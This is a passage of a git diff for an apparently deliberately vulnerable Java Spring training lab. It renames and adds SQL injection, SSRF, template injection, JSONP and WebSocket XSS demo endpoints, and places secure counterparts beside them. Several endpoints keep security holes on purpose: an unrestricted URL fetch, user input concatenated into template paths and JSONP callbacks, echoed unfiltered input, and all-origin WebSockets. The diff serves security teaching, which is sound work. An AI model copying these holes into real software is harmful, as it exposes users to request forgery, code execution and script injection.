"用户ID", dataType = "Integer", paramType = "query", dataTypeClass = Integer.class) // 这里使用了Integer类型 }) @ResponseBody - @GetMapping("/b-safe4-Request-Parameter-Validate") - public R safe4RequestRarameterValidate( + @GetMapping("/safe4") + public R safe4( @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) Integer id) { String sql = ""; try { @@ -607,9 +609,9 @@ public R safe4RequestRarameterValidate( @ApiOperation(value = "安全代码:Web安全框架-采用ESAPI过滤", notes = "ESAPI提供了多种输入验证API,提供对XSS攻击和SQL注入攻击等的防护") @ApiImplicitParam(name = "id", value = "用户ID", dataType = "String", paramType = "query", dataTypeClass = String.class) - @GetMapping("/b-safe5-EASAPI-Filter") + @GetMapping("/safe5") @ResponseBody - public R safe5EASAPIFilter(@ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id) { + public R safe5(@ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) String id) { try { Codec oracleCodec = new OracleCodec(); Class.forName("com.mysql.cj.jdbc.Driver"); diff --git a/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java b/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java index b00bc39..0d7160d 100644 --- a/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java +++ b/src/main/java/top/whgojp/modules/sqli/controller/MyBatisController.java @@ -40,9 +40,8 @@ public class MyBatisController { public String sqliMyBatis() { return "vul/sqli/mybatis"; } - @ApiOperation(value = "安全代码:MyBatis-正常业务场景代码-原生方法", notes = "简单业务场景代码-增删改查使用MyBatis自带方法") - @PostMapping("/safe1-nativeMethod") + @PostMapping("/safe1") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -50,7 +49,7 @@ public String sqliMyBatis() { @ApiImplicitParam(name = "username", value = "用户名", required = false, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "password", value = "密码", required = false, dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public R safe1NativeMethod( + public R safe1( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) Integer id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, @@ -97,7 +96,7 @@ public R safe1NativeMethod( // 简单的业务可以还可以使用自带的方法 当业务复杂时 需要自定义sql语句 就有可能存在sql注入 @ApiOperation(value = "安全代码:MyBatis-正常业务场景代码-自定义方法", notes = "复杂业务场景代码-增删改查使用自定义方法") - @PostMapping("/safe2-customMethod") + @PostMapping("/safe2") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "操作类型", required = true, dataType = "String", paramType = "query", dataTypeClass = String.class), @@ -105,7 +104,7 @@ public R safe1NativeMethod( @ApiImplicitParam(name = "username", value = "用户名", required = false, dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "password", value = "密码", required = false, dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public R safe2CustomMethod( + public R safe2( @ApiParam(name = "type", value = "操作类型", required = true) @RequestParam String type, @ApiParam(name = "id", value = "用户ID") @RequestParam(required = false) Integer id, @ApiParam(name = "username", value = "用户名") @RequestParam(required = false) String username, diff --git a/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java b/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java new file mode 100644 index 0000000..15e0522 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/entity/HibernateSqli.java @@ -0,0 +1,20 @@ +package top.whgojp.modules.sqli.entity; + +import lombok.Data; +import javax.persistence.*; + +@Data +@Entity +@Table(name = "sqli") +public class HibernateSqli { + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Integer id; + + @Column(name = "username") + private String username; + + @Column(name = "password") + private String password; +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java b/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java deleted file mode 100644 index a5d6949..0000000 --- a/src/main/java/top/whgojp/modules/sqli/entity/Hsqli.java +++ /dev/null @@ -1,30 +0,0 @@ -package top.whgojp.modules.sqli.entity; - -import io.swagger.annotations.ApiModel; -import io.swagger.annotations.ApiModelProperty; -import lombok.AllArgsConstructor; -import lombok.Data; - -import javax.persistence.*; - -/** - * @description Hibernate 实体类 - * @author: whgojp - * @email: whgojp@foxmail.com - * @Date: 2024/8/5 17:18 - */ -@Entity -@Data -@Table(name = "sqli") -@ApiModel(value = "SQL注入测试表",description = "sql injection test table for mybatis") -public class Hsqli { - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - @ApiModelProperty(value = "用户ID",required = true) - private Long id; - - @ApiModelProperty(value = "用户名",example = "whgojp") - private String username; - @ApiModelProperty(value = "密码",example = "12345") - private String password; -} diff --git a/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java b/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java new file mode 100644 index 0000000..3d474aa --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/entity/JpaSqli.java @@ -0,0 +1,16 @@ +package top.whgojp.modules.sqli.entity; + +import lombok.Data; +import javax.persistence.*; + +@Data +@Entity +@Table(name = "sqli") +public class JpaSqli { + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; + + private String username; + private String password; +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java b/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java index 1c10692..5909f86 100644 --- a/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java +++ b/src/main/java/top/whgojp/modules/sqli/entity/Sqli.java @@ -4,17 +4,20 @@ import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; -import java.io.Serializable; - import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Data; +import javax.persistence.*; +import java.io.Serializable; + /** * * @TableName sqli */ +@Entity +@Table(name = "sqli") @TableName(value ="sqli") @Data @AllArgsConstructor @@ -23,6 +26,8 @@ public class Sqli implements Serializable { /** * */ + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) @TableId(type = IdType.AUTO) @ApiModelProperty(value = "用户ID",required = true) private Integer id; @@ -30,15 +35,20 @@ public class Sqli implements Serializable { /** * 用户名 */ - @ApiModelProperty(value = "用户名",example = "whgojp") + @Column(name = "username") + @ApiModelProperty(value = "用户名",example = "test") private String username; /** * 密码 */ + @Column(name = "password") @ApiModelProperty(value = "密码",example = "12345") private String password; @TableField(exist = false) private static final long serialVersionUID = 1L; + + public Sqli() { + } } \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java b/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java new file mode 100644 index 0000000..b8124ae --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/repository/JpaSqliRepository.java @@ -0,0 +1,22 @@ +package top.whgojp.modules.sqli.repository; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Query; +import org.springframework.data.repository.query.Param; +import top.whgojp.modules.sqli.entity.JpaSqli; + +import java.util.List; + +public interface JpaSqliRepository extends JpaRepository { + + // 安全的方法:使用方法命名约定 + List findByUsername(String username); + + // 安全的方法:使用@Query注解和参数绑定 + @Query("SELECT j FROM JpaSqli j WHERE j.username = :username") + List findUsersByUsername(@Param("username") String username); + + // 不安全的方法:使用原生SQL + @Query(value = "SELECT * FROM jpasqli WHERE username = ?1", nativeQuery = true) + List findUsersByUsernameNative(String username); +} \ No newline at end of file diff --git a/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java b/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java deleted file mode 100644 index 61dae36..0000000 --- a/src/main/java/top/whgojp/modules/sqli/service/HsqliService.java +++ /dev/null @@ -1,11 +0,0 @@ -//package top.whgojp.modules.sqli.service; -// -///** -// * @description <功能描述> -// * @author: whgojp -// * @email: whgojp@foxmail.com -// * @Date: 2024/8/5 18:11 -// */ -//public interface HsqliService { -// -//} diff --git a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java index 24e3798..7a3bb49 100644 --- a/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java +++ b/src/main/java/top/whgojp/modules/ssrf/controller/SsrfController.java @@ -32,11 +32,11 @@ public String fileUpload() { return "vul/ssrf/ssrf"; } - @ApiOperation(value = "漏洞环境:服务端请求伪造", notes = "原生漏洞环境,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件") - @GetMapping("/vul1-URLConnection") + @ApiOperation(value = "漏洞场景:服务端请求伪造", notes = "原生漏洞场景,未做任何限制,可调用URLConnection发起任意请求,探测内网服务、读取文件") + @GetMapping("/vul") @ResponseBody @ApiImplicitParam(name = "url", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public String vul1URLConnection(@ApiParam(name = "url", value = "请求参数", required = true) @RequestParam String url) { + public String vul(@ApiParam(name = "url", value = "请求参数", required = true) @RequestParam String url) { try { URL u = new URL(url); URLConnection conn = u.openConnection(); // 这里以URLConnection作为演示 @@ -59,10 +59,10 @@ public String vul1URLConnection(@ApiParam(name = "url", value = "请求参数", private CheckUserInput checkUserInput; @ApiOperation(value = "安全代码:请求白名单过滤", notes = "判断协议,对请求URL做白名单过滤") - @GetMapping("/safe1-WhiteList") + @GetMapping("/safe") @ResponseBody @ApiImplicitParam(name = "url", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public String safe1WhiteList(@ApiParam(name = "url", value = "请求参数", required = true) @RequestParam String url) { + public String safe(@ApiParam(name = "url", value = "请求参数", required = true) @RequestParam String url) { if (!checkUserInput.isHttp(url)) { return "检测到不是http(s)协议!"; } else if (!checkUserInput.ssrfWhiteList(url)) { diff --git a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java index 59c0137..e025238 100644 --- a/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java +++ b/src/main/java/top/whgojp/modules/ssti/controller/SSTIController.java @@ -38,28 +38,28 @@ public String ssti() { return "vul/ssti/ssti"; } - @ApiOperation(value = "漏洞环境:Thymeleaf模板注入", notes = "如果参数未经过滤,攻击者可以注入恶意模板参数,执行任意代码。") + @ApiOperation(value = "漏洞场景:Thymeleaf模板注入", notes = "如果参数未经过滤,攻击者可以注入恶意模板参数,执行任意代码。") @ApiImplicitParam(name = "para", value = "用户输入参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - @GetMapping("/vul1-thymeleaf") - public String sstiVul(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { + @GetMapping("/vul1") + public String vul1(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { // model.addAttribute("para", para); // return "vul/ssti/vul"; // 将参数 para 传递到模板 "vul/ssti/template" // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞 - return "/vul/ssti/" + para; + return "vul/ssti/" + para; } - @GetMapping("/vul2-thymeleaf/{path}") - public void sstiVul2(@PathVariable String path) { + @GetMapping("/vul2/{path}") + public void vul2(@PathVariable String path) { log.info("SSTI注入:"+path); } - @GetMapping("/vul3-thymeleaf") - public String sstiVul3(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { + @GetMapping("/vul3") + public String vul3(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { model.addAttribute("templateContent", para); return "vul/ssti/vul"; // 将参数 para 传递到模板 "vul/ssti/vul" } - @GetMapping("/safe-thymeleaf") - public String sstiSafe(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { + @GetMapping("/safe1") + public String safe1(@ApiParam(name = "para", value = "用户输入参数", required = true) @RequestParam String para, Model model) { List white_list = new ArrayList<>(Arrays.asList("vul", "ssti")); if (white_list.contains(para)){ return "vul/ssti" + para; @@ -68,7 +68,7 @@ public String sstiSafe(@ApiParam(name = "para", value = "用户输入参数", re } } @GetMapping("/safe2/{path}") - public void sstiSafe2(@PathVariable String path, HttpServletResponse response) { + public void safe2(@PathVariable String path, HttpServletResponse response) { log.info("SSTI注入:"+path); } diff --git a/src/main/java/top/whgojp/modules/system/mapper/UserMapper.java b/src/main/java/top/whgojp/modules/system/mapper/UserMapper.java index 6a87a44..10e67bf 100644 --- a/src/main/java/top/whgojp/modules/system/mapper/UserMapper.java +++ b/src/main/java/top/whgojp/modules/system/mapper/UserMapper.java @@ -19,6 +19,11 @@ public interface UserMapper extends BaseMapper { int updatePasswordByUsername(@Param("username") String username,@Param("password") String password); + // 水平越权 + User getAllByUsername(@Param("username") String username); + + // 垂直越权 + } diff --git a/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java new file mode 100644 index 0000000..e1e67f6 --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketConfig.java @@ -0,0 +1,18 @@ +package top.whgojp.modules.xss.config; + +import org.springframework.context.annotation.Configuration; +import org.springframework.lang.NonNull; +import org.springframework.web.socket.config.annotation.EnableWebSocket; +import org.springframework.web.socket.config.annotation.WebSocketConfigurer; +import org.springframework.web.socket.config.annotation.WebSocketHandlerRegistry; + +@Configuration +@EnableWebSocket +public class XssWebSocketConfig implements WebSocketConfigurer { + + @Override + public void registerWebSocketHandlers(@NonNull WebSocketHandlerRegistry registry) { + registry.addHandler(new XssWebSocketHandler(), "/xss/websocket") + .setAllowedOrigins("*"); // 故意允许所有源,用于演示XSS风险 + } +} diff --git a/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java new file mode 100644 index 0000000..18488ef --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/config/XssWebSocketHandler.java @@ -0,0 +1,53 @@ +package top.whgojp.modules.xss.config; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.lang.NonNull; +import org.springframework.web.socket.CloseStatus; +import org.springframework.web.socket.TextMessage; +import org.springframework.web.socket.WebSocketSession; +import org.springframework.web.socket.handler.TextWebSocketHandler; + +import java.io.IOException; +import java.util.concurrent.CopyOnWriteArraySet; + +@Slf4j +public class XssWebSocketHandler extends TextWebSocketHandler { + + private static final CopyOnWriteArraySet sessions = new CopyOnWriteArraySet<>(); + + @Override + public void afterConnectionEstablished(@NonNull WebSocketSession session) { + sessions.add(session); + log.info("WebSocket connection established - Current connections: {}", sessions.size()); + try { + session.sendMessage(new TextMessage("Connected successfully")); + } catch (IOException e) { + log.error("Failed to send welcome message: {}", e.getMessage()); + } + } + + @Override + protected void handleTextMessage(@NonNull WebSocketSession session, @NonNull TextMessage message) { + log.info("Received message: {}", message.getPayload()); + // 故意不过滤消息内容,用于演示XSS风险 + broadcast(message); + } + + @Override + public void afterConnectionClosed(@NonNull WebSocketSession session, @NonNull CloseStatus status) { + sessions.remove(session); + log.info("WebSocket connection closed - Current connections: {}", sessions.size()); + } + + private void broadcast(TextMessage message) { + for (WebSocketSession session : sessions) { + try { + if (session.isOpen()) { + session.sendMessage(message); + } + } catch (IOException e) { + log.error("Failed to send message to session {}: {}", session.getId(), e.getMessage()); + } + } + } +} diff --git a/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java b/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java index cae747e..6c197b6 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java +++ b/src/main/java/top/whgojp/modules/xss/controller/ActionEnterRewrite.java @@ -14,10 +14,6 @@ import javax.servlet.http.HttpServletRequest; import java.util.Map; -/** - * 描述: - * 创建人: 慌途L - */ @Slf4j public class ActionEnterRewrite { private HttpServletRequest request; diff --git a/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java b/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java index d5ab2ec..9a63996 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java +++ b/src/main/java/top/whgojp/modules/xss/controller/FileUtils.java @@ -11,48 +11,47 @@ import java.io.File; import java.io.IOException; -import java.util.Random; +import java.util.UUID; + -/** - * 功能 : 上传文件工具类 - * 创建人 : 慌途L - */ @Slf4j public class FileUtils { public static String upLoadFile(MultipartFile file, String path) { - - if(file.isEmpty()){ + if (file == null || file.isEmpty()) { log.info("文件为空!"); return null; } + String fileName = file.getOriginalFilename(); - int size = (int) file.getSize(); - log.info(fileName + "-->" + size); - - // 取得文件的后缀名。 - String ext = fileName.substring(fileName.lastIndexOf(".") + 1).toUpperCase(); - - String newFileName = - System.currentTimeMillis() / 1000 + new Random().nextInt(100000)+"." + ext; + log.info("上传文件: {} - 大小: {}", fileName, file.getSize()); - //String path = "F:/test" ; - File dest = new File(path + "/" + newFileName); - if(!dest.getParentFile().exists()){ //判断文件父目录是否存在 - dest.getParentFile().mkdir(); + String ext = getFileExtension(fileName); + String newFileName = generateUniqueFileName(ext); + + return saveFile(file, path, newFileName); + } + + private static String getFileExtension(String fileName) { + return fileName.substring(fileName.lastIndexOf(".") + 1).toUpperCase(); + } + + private static String generateUniqueFileName(String ext) { + return UUID.randomUUID().toString() + "." + ext; + } + + private static String saveFile(MultipartFile file, String path, String newFileName) { + File dest = new File(path, newFileName); + if (!dest.getParentFile().exists()) { + dest.getParentFile().mkdirs(); } + try { - file.transferTo(dest); //保存文件 + file.transferTo(dest); return newFileName; - } catch (IllegalStateException e) { - // TODO Auto-generated catch block - e.printStackTrace(); - return null; } catch (IOException e) { - // TODO Auto-generated catch block - e.printStackTrace(); + log.error("文件保存失败", e); return null; } } } - diff --git a/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java b/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java new file mode 100644 index 0000000..3c4a30f --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/controller/JsonpController.java @@ -0,0 +1,17 @@ +package top.whgojp.modules.xss.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@RequestMapping("/xss") +public class JsonpController { + + @GetMapping("/jsonp") + public String handleJsonp(@RequestParam String callback) { + // 故意不验证callback参数,直接拼接返回 + return callback + "(" + "{\"message\": \"Hello from JSONP\"}" + ");"; + } +} diff --git a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java index 774050e..727ce23 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/OtherController.java +++ b/src/main/java/top/whgojp/modules/xss/controller/OtherController.java @@ -84,7 +84,7 @@ public R hackCookie(@RequestParam String cookie, HttpServletRequest request) { private UploadUtil uploadUtil; // 文件上传接口 - @ApiOperation(value = "漏洞环境:文件上传导致存储XSS", notes = "原生漏洞环境,未加任何过滤,Controller接口返回Json类型结果") + @ApiOperation(value = "漏洞场景:文件上传导致存储XSS", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果") @RequestMapping("/vul1Upload") @ResponseBody @SneakyThrows @@ -122,14 +122,14 @@ public R vul1Upload(@RequestParam("file") MultipartFile file, return R.error(res); } } - @ApiOperation(value = "漏洞环境:模版引擎解析导致存储XSS", notes = "") + @ApiOperation(value = "漏洞场景:模版引擎解析导致存储XSS", notes = "") @GetMapping("/vul2OtherTemplate") - public String vul2OtherTemplate(@RequestParam("content") String content, + public String vul2OtherTemplate(@RequestParam("payload") String payload, @RequestParam("type") String type, Model model) { if ("html".equals(type)) { - model.addAttribute("html", content); + model.addAttribute("html", payload); } else if ("text".equals(type)) { - model.addAttribute("text", content); + model.addAttribute("text", payload); } return "vul/xss/other"; } diff --git a/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java b/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java new file mode 100644 index 0000000..e5d8e82 --- /dev/null +++ b/src/main/java/top/whgojp/modules/xss/controller/PostMessageController.java @@ -0,0 +1,20 @@ +package top.whgojp.modules.xss.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +@Controller +@RequestMapping("/xss/postmessage") +public class PostMessageController { + + @GetMapping("/sender") + public String sender() { + return "vul/xss/postmessage/sender"; + } + + @GetMapping("/receiver") + public String receiver() { + return "vul/xss/postmessage/receiver"; + } +} diff --git a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java index 38e65e9..7df5caf 100644 --- a/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java +++ b/src/main/java/top/whgojp/modules/xss/controller/ReflectController.java @@ -12,11 +12,11 @@ import org.thymeleaf.util.StringUtils; import top.whgojp.common.utils.CheckUserInput; import top.whgojp.common.utils.R; +import top.whgojp.modules.xss.controller.base.XssBaseController; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpUtils; import java.util.regex.Matcher; import java.util.regex.Pattern; @@ -27,64 +27,56 @@ * @Date: 2024/5/20 16:55 */ @Slf4j -@Api(value = "ReflectController", tags = "跨站脚本-反射型XSS") +@Api(value = "ReflectController", tags = "跨站脚本 - 反射型XSS") @Controller @CrossOrigin(origins = "*") @RequestMapping("/xss/reflect") -public class ReflectController { +public class ReflectController extends XssBaseController { + @Autowired private CheckUserInput checkUserInput; - @RequestMapping("") - public String xssReflect() { - return "vul/xss/reflect"; - } - @RequestMapping("/vul") - public String xssReflectVul() { - return "vul/xss/reflect-vul"; - } - @RequestMapping("/safe") - public String xssReflectSafe() { - return "vul/xss/reflect-safe"; - } + @RequestMapping("/{view}") + public String reflect(@PathVariable String view) { + return isValidView(view) ? "vul/xss/reflect/" + view : "error/404"; + } - @ApiOperation(value = "漏洞环境:GET型与POST型", notes = "原生漏洞环境,未加任何过滤,Controller接口返回Json类型结果") - @RequestMapping("/vul1ReflectRaw") + @ApiOperation(value = "漏洞场景:GET型与POST型", notes = "原生漏洞场景,未加任何过滤,Controller接口返回Json类型结果") + @RequestMapping("/vul1") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public R vul1ReflectRaw(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { - log.info("反射型XSS:" + content); - return R.ok(content); + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public R vul1(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { + return handleXssPayload(payload, "反射型-GET/POST型", false); } - @ApiOperation(value = "漏洞环境:String", notes = "原生漏洞环境,未加任何过滤,Controller接口返回String") - @GetMapping("/vul1ReflectRawString") + @ApiOperation(value = "漏洞场景:String", notes = "原生漏洞场景,未加任何过滤,Controller接口返回String") + @GetMapping("/vul2") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public String vul1ReflectRawString(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { - - return content; + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public String vul2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { + log.info("[+]XSS-反射型-String型:" + payload); + return payload; } @SneakyThrows - @ApiOperation(value = "漏洞环境:Content-Type问题", notes = "Tomcat内置HttpServletResponse,Content-Type导致反射XSS") - @GetMapping("/vul2ReflectContentType") + @ApiOperation(value = "漏洞场景:Content-Type问题", notes = "Tomcat内置HttpServletResponse,Content-Type导致反射XSS") + @GetMapping("/vul3") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public void vul2ReflectContentType(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content, HttpServletResponse response) { + public void vul3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) { switch (type) { case "html": - response.getWriter().print(content); - log.info("反射型XSS,Content-Type:text/html;charset=utf-8:" + content); + response.getWriter().print(payload); + log.info("[+]XSS-反射性-Content-Type:text/html;charset=utf-8:" + payload); response.setContentType("text/html;charset=utf-8"); response.getWriter().flush(); break; case "plain": - log.info("反射型XSS,Content-Type:text/plain;charset=utf-8:" + content); - response.getWriter().print(content); + log.info("[+]XSS-反射性-Content-Type:text/plain;charset=utf-8:" + payload); + response.getWriter().print(payload); response.setContentType("text/plain;charset=utf-8"); // response默认返回Content-Type类型是text/plain response.getWriter().flush(); break; @@ -95,44 +87,51 @@ public void vul2ReflectContentType(@ApiParam(name = "type", value = "类型", re break; } } + private static final String WHITELIST_REGEX = "^[a-zA-Z0-9_\\s]+$"; private static final Pattern pattern = Pattern.compile(WHITELIST_REGEX); @ApiOperation(value = "安全代码:用户输入验证和过滤", notes = "对用户输入的数据进行验证和过滤,确保不包含恶意代码。使用白名单过滤,只允许特定类型的输入,如纯文本或指定格式的数据") - @RequestMapping("/safe1CheckUserInput") + @GetMapping("/safe1") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class), @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public R safe1CheckUserInput(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { + public R safe1(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { String filterContented = ""; switch (type) { case "frontEnd": - filterContented = content; // 前端过滤后传递过来 后端未进行处理(同样存在安全问题) + log.info("[-]XSS-反射性-前端白名单过滤:" + payload); + filterContented = payload; // 前端过滤后传递过来 后端未进行处理(同样存在安全问题) break; case "backEnd": - Matcher matcher = pattern.matcher(content); - if (matcher.matches()){ - return R.ok(content); - }else return R.error("输入内容包含非法字符,请检查输入"); + log.info("[-]XSS-反射性-后端白名单过滤:" + payload); + Matcher matcher = pattern.matcher(payload); + if (matcher.matches()) { + return R.ok(payload); + } else return R.error("输入内容包含非法字符,请检查输入"); } return R.ok(filterContented); } + @ApiOperation(value = "安全代码:内容安全策略-CSP防护", notes = "内容安全策略(Content Security Policy)是一种由浏览器实施的安全机制,旨在减少和防范跨站脚本攻击(XSS)等安全威胁。它通过允许网站管理员定义哪些内容来源是可信任的,从而防止恶意内容的加载和执行") - @RequestMapping("/safe2CSP") + @GetMapping("/safe2") @ResponseBody - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) - public String safe2CSP(@ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content,HttpServletResponse response) { - response.setHeader("Content-Security-Policy","default-src self"); + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + public String safe2(@ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload, HttpServletResponse response) { + response.setHeader("Content-Security-Policy", "default-src self"); response.setHeader("Content-Security-Policy-Report-Only", "default-src 'self'; other-uri /xss/reflect/csp-other-endpoint"); - return content; + log.info("[-]XSS-反射性-内容安全策略-CSP防护:" + payload); + return payload; } + @GetMapping("/a-safe2-CSP-front") - public String safeCSPFront(){ + public String safeCSPFront() { return "vul/xss/csp-protect"; } + @PostMapping("/csp-report-endpoint") public void receiveCSPReport(@RequestBody String reportData) { // 获取当前时间 @@ -152,27 +151,30 @@ public void receiveCSPReport(@RequestBody String reportData) { // System.err.println("Error writing CSP violation other to file: " + e.getMessage()); // } } + @ApiOperation(value = "安全代码:特殊字符实体转义", notes = "特殊字符实体转义是一种将 HTML 中的特殊字符转换为预定义实体表示的过程。这种转义是为了确保在 HTML 页面中正确显示特定字符,同时避免它们被浏览器误解为 HTML 标签或JavaScript代码的一部分,从而导致页面结构混乱或安全漏洞。") - @RequestMapping("/safe3EntityEscape") + @GetMapping("/safe3") @ResponseBody @ApiImplicitParams({ @ApiImplicitParam(name = "type", value = "类型", dataType = "String", paramType = "query", dataTypeClass = String.class), - @ApiImplicitParam(name = "content", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) + @ApiImplicitParam(name = "payload", value = "请求参数", dataType = "String", paramType = "query", dataTypeClass = String.class) }) - public R safe3EntityEscape(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "content", value = "请求参数", required = true) @RequestParam String content) { + public R safe3(@ApiParam(name = "type", value = "类型", required = true) @RequestParam String type, @ApiParam(name = "payload", value = "请求参数", required = true) @RequestParam String payload) { String filterContented = ""; - switch (type){ + switch (type) { case "manual": - content = StringUtils.replace(content, "&", "&"); - content = StringUtils.replace(content, "<", "<"); - content = StringUtils.replace(content, ">", ">"); - content = StringUtils.replace(content, "\"", """); - content = StringUtils.replace(content, "'", "'"); - content = StringUtils.replace(content, "/", "/"); - filterContented = content; + payload = 